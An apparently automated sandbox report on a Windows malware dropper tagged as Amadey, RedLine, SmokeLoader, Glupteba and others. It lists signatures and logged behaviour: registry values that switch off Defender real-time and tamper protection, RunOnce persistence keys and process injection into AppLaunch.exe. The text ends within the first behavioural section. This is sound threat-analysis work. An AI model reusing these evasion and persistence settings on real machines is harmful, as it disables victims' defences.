Malware Analysis Report

2025-01-23 08:06

Sample ID 231010-zd736abg33
Target file
SHA256 ac8ff52cb62090f12549de17ef1c720764e8c2b564ba480da40a65ce6b7ba256
Tags
amadey dcrat glupteba healer redline sectoprat smokeloader 6012068394_99 pixelscloud up3 backdoor google dropper evasion infostealer loader persistence phishing rat trojan mystic lutyr magia discovery spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ac8ff52cb62090f12549de17ef1c720764e8c2b564ba480da40a65ce6b7ba256

Threat Level: Known bad

The file file was found to be: Known bad.

Malicious Activity Summary

amadey dcrat glupteba healer redline sectoprat smokeloader 6012068394_99 pixelscloud up3 backdoor google dropper evasion infostealer loader persistence phishing rat trojan mystic lutyr magia discovery spyware stealer

Glupteba payload

Detect Mystic stealer payload

DcRat

RedLine

SectopRAT

Suspicious use of NtCreateUserProcessOtherParentProcess

SectopRAT payload

Healer

SmokeLoader

Detected google phishing page

Detects Healer an antivirus disabler dropper

Glupteba

Amadey

RedLine payload

Mystic

Modifies Windows Defender Real-time Protection settings

Downloads MZ/PE file

Stops running service(s)

Modifies Windows Firewall

Drops file in Drivers directory

Checks computer location settings

Loads dropped DLL

Reads user/profile data of web browsers

Windows security modification

Executes dropped EXE

Checks installed software on the system

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Drops file in System32 directory

Suspicious use of SetThreadContext

Launches sc.exe

Checks for VirtualBox DLLs, possible anti-VM trick

Drops file in Program Files directory

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

Program crash

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Enumerates system info in registry

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

Suspicious use of FindShellTrayWindow

Suspicious use of SendNotifyMessage

Suspicious use of UnmapMainImage

Uses Task Scheduler COM API

Suspicious behavior: GetForegroundWindowSpam

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Suspicious use of SetWindowsHookEx

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-10 20:37

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-10 20:37

Reported

2023-10-10 20:59

Platform

win7-20230831-en

Max time kernel

169s

Max time network

197s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Amadey

trojan amadey

DcRat

rat infostealer dcrat

Detected google phishing page

phishing google

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Downloads MZ/PE file

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9C30.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9C30.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\oW0xB4cw.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\oW0xB4cw.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Im3XM9DI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Im3XM9DI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\wg5mI1Lf.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7D3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\wg5mI1Lf.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\TT7kp0pz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\TT7kp0pz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\1ZD37Ls8.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8730.exe N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\F693.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\9C30.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\oW0xB4cw.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Im3XM9DI.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\wg5mI1Lf.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup6 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP006.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\TT7kp0pz.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2620 set thread context of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2152 set thread context of 2028 N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B3F45CD1-67AF-11EE-B92B-5EF5C936A496} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B40ACB01-67AF-11EE-B92B-5EF5C936A496} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\F693.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DAED.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2712 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2660 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2620 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
